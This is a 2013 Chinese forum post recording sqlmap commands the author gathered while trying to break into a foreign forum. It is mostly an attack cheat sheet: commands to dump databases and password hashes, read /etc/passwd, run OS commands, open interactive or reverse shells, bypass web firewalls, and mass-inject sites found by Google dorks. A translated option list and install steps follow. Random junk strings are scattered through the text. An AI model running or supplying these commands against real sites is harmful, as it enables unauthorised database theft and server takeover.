找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2488|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
% @$ s1 G4 R+ l# u% u# x  ~+ Qsqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称5 T# [9 i2 u" t5 l" @* W3 W0 s5 b1 @! n
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
! ^$ C5 x, P  W( B% Jsqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段0 l0 f6 j1 e6 f" l# [4 u% X

/ I8 V. M& `5 A8 t; isqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
( f$ c- Y/ N* `0 #获取字段内容
; d5 i+ A0 F! n( U 2 k7 f: b) ]! u  ^1 j! t+ D
******************信息获取******************, ~: X6 M" ?) U! a! `
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型$ `- p3 Q4 A: c1 m" R
sqlmap -u “http://url/news?id=1″ –users #列数据库用户
- G% }& c" e7 X- ^$ `sqlmap -u “http://url/news?id=1″ –dbs#列数据库
* \# K' U/ n: n3 J7 t2 j! s  Qsqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码9 O' |, Z2 V. m& n0 T8 r1 d
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
0 g- [  R/ g: X' `6 x! `sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”5 y! U3 f+ H8 _
–start 1 –stop 20 #列出指定字段,列出20 条4 t4 V$ [, P7 o$ L* f1 p
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表# W' m4 V2 q4 `! ^
sqlmap -u “http://url/news?id=1″ –privileges #查看权限( U9 ~% `, S3 c4 t5 t
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色9 R# r) x9 T0 u! B& n! i' Q8 X) T
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)" {  z) b  u$ L
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
" I4 c: _. t2 }/ h8 @sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
; y- D: [1 A  [+ Bsqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
  Y' h+ B: `+ q; b3 i1 Rsqlmap -u “http://url/news?id=1″-b #获取banner信息
& A5 y& I; O5 ]6 o3 q& F; n9 t) p5 o: dsqlmap -u “http://url/news?id=1″ –data “id=3″#post注入8 J+ ?4 {% N+ G4 {  M5 d; j
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型# |4 S3 z. c9 y/ g
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
0 h" `* N0 x' {3 J2 Vsqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
  {* H. x4 K  v3 V1 Asqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令: ?9 }+ W' n4 d" @( l
sqlmap -u “http://url/news?id=1″ –file /etc/passwd9 w7 n) Q6 b. I# ]' {( U7 L
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
* I$ @8 M; o+ L3 \" H! u2 v0 Lsqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
: _; v( `1 i- csqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
- U* Y3 T' f0 @- L3 I6 w$ N: a1 Usqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度. \5 E9 l. k2 ?6 p+ Z, U
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度; U8 O* z* ?' {. [! X/ F
***********高级用法*************
$ t& Y: I* I9 U$ p3 j-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入' ~; u  C( N3 z0 x) }: L! U/ ~" l
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
! p- @, S' g1 Y; ?–technique   测试指定注入类型\使用的技术
) ^# p8 s3 @9 q; `0 `6 w: R不加参数默认测试所有注入技术
, Y$ x' _; s9 x5 b# W•     B: 基于布尔的SQL 盲注
$ e* v5 }2 r% c0 {( J) C6 ?$ X2 q•     E: 基于显错sql 注入2 E) ~7 d  v5 h) P* s& l* y3 B
•     U: 基于UNION 注入, O* n) w* o  E5 {( \: M( m
•     S: 叠层sql 注入
5 c3 M' k; h* O5 ]0 Y) D•     T: 基于时间盲注4 g% U: ^9 l; ]  S/ f% @' w$ N
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
/ p! G9 ?+ y/ @6 `–tamper 插件所在目录3 G, [  B+ I3 d$ B3 g
\sqlmap-dev\tamper/ y6 y! B( q1 b5 _$ T
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能( d+ ]+ W* \) {) P1 J7 N5 H
level 执行测试等级 攻击实例:) a; l" p, k) S" t9 [
Sqlmap -u “http://url/news?id=1&Submit=Submit”
* @  @8 Z, \1 p& ^6 L–cookie=”PHPSESSID=41aa833e6d0d
- J" |2 ]7 h( R28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
: Y( a( Q% K+ v* \9 t–password4 p% ^3 ]! A" j3 M
参考文档:http://sqlmap.sourceforge.net/doc/README.html+ C4 [: v/ g2 J+ v7 L1 e
***********安装最新版本*************5 H9 V  ^5 t+ a
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版' f: t: O) {, \$ h  h0 j7 c* U
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
! J: o; I0 c* e8 L3 N安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
% U2 N: U8 d; e% N7 Z5 v! _/ L4 Osudo vim /home/当前用户/.bashrc, `2 f% [6 n; x/ ]" x
#任意位置加上:
7 ?6 @& v) Q2 b8 W1 N& g$ T8 z) ialias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效' t8 I4 m! Y) }9 W) `
如果想对所有用户有效 可设置全局 编辑下面的文件
) T& n- F. w/ R) g: S6 k9 |3 `/ `vim /etc/profile
2 E9 E5 x) P% Z1 L同样加上:
% c& Q, N. x- g' X2 [alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效, p8 k& w! F6 Z, `  c0 d
******************windows 7 (x64) sqlmap install (SVN)************- T2 |0 |7 X" X8 j* Q
http://www.python.org/getit/ 安装python$ e( h. u% I$ e2 d( e; v
http://www.sliksvn.com/en/download 安装windows svn client& x- Y; e3 O# S. U2 F+ z% H' e
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
. F, Q" S( o" z2 o  W安装sqlmap
0 J" m8 |: M. h  e# W# n! _8 R/ K*修改环境变量
4 M7 J+ {8 a7 c& p–version             显示程序的版本号并退出
2 A7 L/ u5 X& ^6 A- p4 s9 `$ g-h, –help            显示此帮助消息并退出
$ Q. d: e! L, o' s0 b  l# W-v VERBOSE            详细级别:0-6(默认为1)
" v0 u6 E2 S- a" ~9 ?7 nTarget(目标): 以下至少需要设置其中一个选项,设置目标URL。( f5 }" o3 ?4 J' @2 w5 |6 I
-d DIRECT           直接连接到数据库。
! s( w4 K/ r0 L-u URL, –url=URL   目标URL。
$ l9 l. E$ ]1 _' o8 O-l LIST             从Burp 或WebScarab 代理的日志中解析目标。
; K' F9 |- u. K" e+ U+ e5 X-r REQUESTFILE      从一个文件中载入HTTP 请求。& y8 B3 |, i9 [( E- J$ R
-g GOOGLEDORK       处理Google dork 的结果作为目标URL。. G  V  }& E6 a  L3 q" ^
-c CONFIGFILE       从INI 配置文件中加载选项。
$ ~7 B# T3 J9 }" B* q7 ?9 [! eRequest(请求)::! v# B. w) s- F, r
这些选项可以用来指定如何连接到目标URL。
: X& g5 I% e; k, F$ H) {–data=DATA         通过POST 发送的数据字符串' r/ N4 g8 R9 O
–cookie=COOKIE     HTTP Cookie 头
( e) g0 c9 M, }3 M0 ]' K) G–cookie-urlencode  URL 编码生成的cookie 注入0 K1 \" b" d4 h2 P' L0 Z6 [
–drop-set-cookie   忽略响应的Set –Cookie 头信息( }. b( K8 u7 \

4 L$ h1 F( b- O2 t–user-agent=AGENT  指定  HTTP User –Agent 头9 P* x+ \& y/ }9 r. f( |+ A
–random-agent      使用随机选定的HTTP User –Agent 头; a& I  D: J8 G. g$ W( l, K
–referer=REFERER   指定  HTTP Referer 头, q  h. ?  N/ H9 }% y. W) s
–headers=HEADERS   换行分开,加入其他的HTTP 头
/ {" o9 j6 W# }% Z; ?% A–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)5 C: R9 S& c) e2 F0 ~3 G. J
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
$ \8 |- n& `5 m/ d$ [–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)7 w2 |. \! ]  F4 h
–proxy=PROXY       使用HTTP 代理连接到目标URL
8 D% S4 P0 l2 z6 r–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)$ F" l; O6 I5 |/ v) S
–ignore-proxy      忽略系统默认的HTTP 代理
/ V* x3 s4 Z$ I/ g9 \1 |–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒
' e; a& Y( B% M& e6 R. v9 y–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)7 e" T* F- ]5 b- Q& |3 @
–retries=RETRIES   连接超时后重新连接的时间(默认3)
) _: D1 {9 R3 k–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式3 O. U- i* Z0 T3 L& D0 M
–safe-url=SAFURL   在测试过程中经常访问的url 地址
  D0 m9 x5 ^8 H0 h  l–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL
$ I% _  s9 l5 y3 ^2 sOptimization(优化): 这些选项可用于优化SqlMap 的性能。9 a' u/ |* Z, s. b: ^' r" ]- n% I# r" E
-o                  开启所有优化开关- [& s, w1 I$ h  U: {% K+ e
–predict-output    预测常见的查询输出
: l6 _3 Z; L9 Z- @! P* @" v' A–keep-alive        使用持久的HTTP(S)连接- _! c/ r- T9 h8 U. u4 B
–null-connection   从没有实际的HTTP 响应体中检索页面长度: H3 i, k' C9 ^5 T6 S' F8 ]& R9 J
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)
! Q, K/ r: z2 c$ {0 c6 q2 P5 AInjection(注入):& T# e5 r$ n# c( o% A% x5 g. B& |
这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。3 t9 t& ~) Z7 y# Y) z4 x' |
-p TESTPARAMETER    可测试的参数(S)
' K/ Q) q& e9 E& w- y–dbms=DBMS         强制后端的DBMS 为此值
" i5 `& ]3 g8 \–os=OS             强制后端的DBMS 操作系统为这个值" l) B- m2 Z; x6 s# v
–prefix=PREFIX     注入payload 字符串前缀
4 c! M* S" E& y5 X* P! j, o! o–suffix=SUFFIX     注入 payload 字符串后缀
2 W4 U6 T- y2 p% V–tamper=TAMPER     使用给定的脚本(S)篡改注入数据! D" N7 t& M& h/ v& g- a9 p
Detection(检测):
2 O& E$ l- M" s这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
; L/ ]( j( t( `6 X; j; {1 ~–level=LEVEL       执行测试的等级(1-5,默认为1)
; V( P: L1 m3 N# K2 ?6 d! V–risk=RISK         执行测试的风险(0-3,默认为1)( Q8 M" |+ Z' q, L) K8 Z
–string=STRING     查询时有效时在页面匹配字符串
! x4 I7 [8 D' n  j# l- _–regexp=REGEXP     查询时有效时在页面匹配正则表达式
3 \" q6 ^: Q" U  t. Q–text-only         仅基于在文本内容比较网页3 I; b' C9 M8 \+ u
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
7 [  z, a4 Z- V) t9 h- A–technique=TECH    SQL 注入技术测试(默认BEUST)/ j8 j# j* m; h! Q
–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)- E. |' {: o; E2 f7 ~; G, G, \
–union-cols=UCOLS  定列范围用于测试UNION 查询注入3 {) z% Y; Q+ w5 E
–union-char=UCHAR  用于暴力猜解列数的字符6 _( y1 ]" ?3 D" ~
Fingerprint(指纹):
* _. Q& U+ {8 X4 I2 Z5 q-f, –fingerprint     执行检查广泛的DBMS 版本指纹
6 c8 W  v# N% f+ }8 J% TEnumeration(枚举):
! t' Z  T, U  a: w# W1 c $ O* ]: N2 T% H. v3 f9 i
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
( f3 T) t' i; Q* v1 G-b, –banner        检索数据库管理系统的标识
5 C' M) ^8 A1 e3 `–current-user      检索数据库管理系统当前用户( z1 V" F4 B0 K1 ^: N! r
–current-db        检索数据库管理系统当前数据库
: J3 D4 x1 `1 x: t- O; \$ c–is-dba            检测DBMS 当前用户是否DBA: [  s( H" A# m/ I( s1 O. D$ _
–users             枚举数据库管理系统用户/ y  c' s% o: b  `
–passwords         枚举数据库管理系统用户密码哈希2 ^  A" s) m) ^- W& p3 x: Y
–privileges        枚举数据库管理系统用户的权限
+ @# i. O2 C0 v; ]3 N, x0 e' r1 Y/ J–roles             枚举数据库管理系统用户的角色
9 k7 Z0 e/ S3 {- Z! ?* j) p–dbs               枚举数据库管理系统数据库& x5 P' ^+ Y" k
–tables            枚举的DBMS 数据库中的表5 M% I: Z* ~4 h1 q4 |
–columns           枚举DBMS 数据库表列1 z* Q. ^. j* N, C7 |
–dump              转储数据库管理系统的数据库中的表项) W8 q. U, }% A' A
–dump-all          转储所有的DBMS 数据库表中的条目+ Y5 q4 `9 Q6 y: B+ U; M( N
–search            搜索列(S),表(S)和/或数据库名称(S)
2 |) c: c/ S1 `4 g, I( C3 X0 Y3 T2 c/ V-D DB               要进行枚举的数据库名$ ?# A. h5 H1 R- r
-T TBL              要进行枚举的数据库表
8 ?9 c( Y& V. W+ O6 G! x-C COL              要进行枚举的数据库列/ j  x. P2 |  E6 x3 ^2 V# [( K: t
-U USER             用来进行枚举的数据库用户
) S# L2 ~+ y; `  n8 M' {! y. G! k–exclude-sysdbs    枚举表时排除系统数据库
( \3 Z: ^) L1 r6 e6 L, }–start=LIMITSTART  第一个查询输出进入检索
+ H) r3 a' Y( P' U3 v: `–stop=LIMITSTOP    最后查询的输出进入检索
; ^, J& ?) J3 m8 d& c4 p# |–first=FIRSTCHAR   第一个查询输出字的字符检索# Z7 _& f! e2 \% H# _6 ]
–last=LASTCHAR     最后查询的输出字字符检索
7 J3 t  ], M1 `4 r( w3 Y6 |8 E9 E–sql-query=QUERY   要执行的SQL 语句
: ]- }6 ]. k% g* c4 j1 u; Q% N- f–sql-shell         提示交互式SQL 的shell9 M1 Q  S+ N* }$ k. P2 ~
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
- |& u7 V5 `. \. a–common-tables     检查存在共同表
/ i+ `. e- d& _" x' E7 m( \, A–common-columns    检查存在共同列9 Z; j( K5 R) ^
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
9 ?7 c5 a9 ?* D–udf-inject        注入用户自定义函数
$ }' O/ y4 d" D# y+ }( [* j+ j& a  z–shared-lib=SHLIB  共享库的本地路径- d8 `: x4 g! P$ d
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。' O, B% n0 T3 X( x
–file-read=RFILE   从后端的数据库管理系统文件系统读取文件4 O! [8 R' r+ D8 _9 H. d  ?8 I
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
* q: F0 ]) |+ E' N" u1 h–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
( }: m2 d% g1 Y( J. QOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。  r: ~# ?) }" i0 K
–os-cmd=OSCMD      执行操作系统命令
" N' B) y. q9 \# S4 E–os-shell          交互式的操作系统的shell" h  z9 W; N! F
–os-pwn            获取一个OOB shell,meterpreter 或VNC
- v: A5 W0 P  {1 Y# X& s+ l2 N1 N& c–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC, V1 ]. ?+ W) w% P
–os-bof            存储过程缓冲区溢出利用+ o) ~, F$ w) n" ?+ k$ j2 t' ^5 N7 G
–priv-esc          数据库进程用户权限提升8 d: R; B6 m  S, }; G
–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
  d( n1 B/ d  t  k3 `  M–tmp-path=TMPPATH  远程临时文件目录的绝对路径
& l/ [  }" O" S/ g; ~. Z( e
# l% P6 L% j1 L( ]+ L' LWindows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。( M' b' ]9 R( U3 b, O% L$ x
–reg-read          读一个Windows 注册表项值; C+ I* b) L+ }. ], |; h
–reg-add           写一个Windows 注册表项值数据; V2 s) G: }% e+ B
–reg-del           删除Windows 注册表键值
" k0 L& w. T+ Z+ U' e- o–reg-key=REGKEY    Windows 注册表键9 ~' U* o* H, u! N5 p7 E
–reg-value=REGVAL  Windows 注册表项值$ \: W2 \& B4 g; v  k
–reg-data=REGDATA  Windows 注册表键值数据0 E1 B1 C5 W& p, J0 r9 L- c- r
–reg-type=REGTYPE  Windows 注册表项值类型8 B9 b. y5 O5 W! b
General(一般): 这些选项可以用来设置一些一般的工作参数。
/ c4 W; E# e+ I1 {, v* P1 S" u-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
) S9 w& u% z: Q-s SESSIONFILE      保存和恢复检索会话文件的所有数据
2 `+ k& `6 j& z/ l! ~& I–flush-session     刷新当前目标的会话文件
+ O1 z8 K2 c0 Q" H1 h; m–fresh-queries     忽略在会话文件中存储的查询结果& p' h$ ~3 l& q0 T
–eta               显示每个输出的预计到达时间
* ~( K4 E9 D& R) H: F1 X& o3 D% H5 N–update            更新SqlMap. \+ q# P# j8 f3 w- [& t
–save              file 保存选项到INI 配置文件
, G$ Z5 l; G! a! L( `4 ?' i–batch             从不询问用户输入,使用所有默认配置。
6 [, ?0 D$ D& QMiscellaneous(杂项):
+ p- S4 K6 D- D- j% b" v–beep              发现SQL 注入时提醒% n2 @, l6 Z5 Q1 m+ ]" ?
–check-payload     IDS 对注入payloads 的检测测试
9 h, S' F& ^, J–cleanup           SqlMap 具体的UDF 和表清理DBMS, `( A; z4 [/ ^1 V  z6 P
–forms             对目标URL 的解析和测试形式
4 O' b4 I' M5 L9 x% h; \+ g–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果4 X9 w5 ^+ `7 V' I0 ^) h. R; N
–page-rank         Google dork 结果显示网页排名(PR)3 d6 t5 j: D2 z7 G: |" t6 t
–parse-errors      从响应页面解析数据库管理系统的错误消息
$ b  ?7 T  h. F3 E$ C; m$ ?–replicate         复制转储的数据到一个sqlite3 数据库
9 V  F5 a4 P: E, u$ n$ r–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
" |8 R1 s& E2 p$ T* k6 p–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表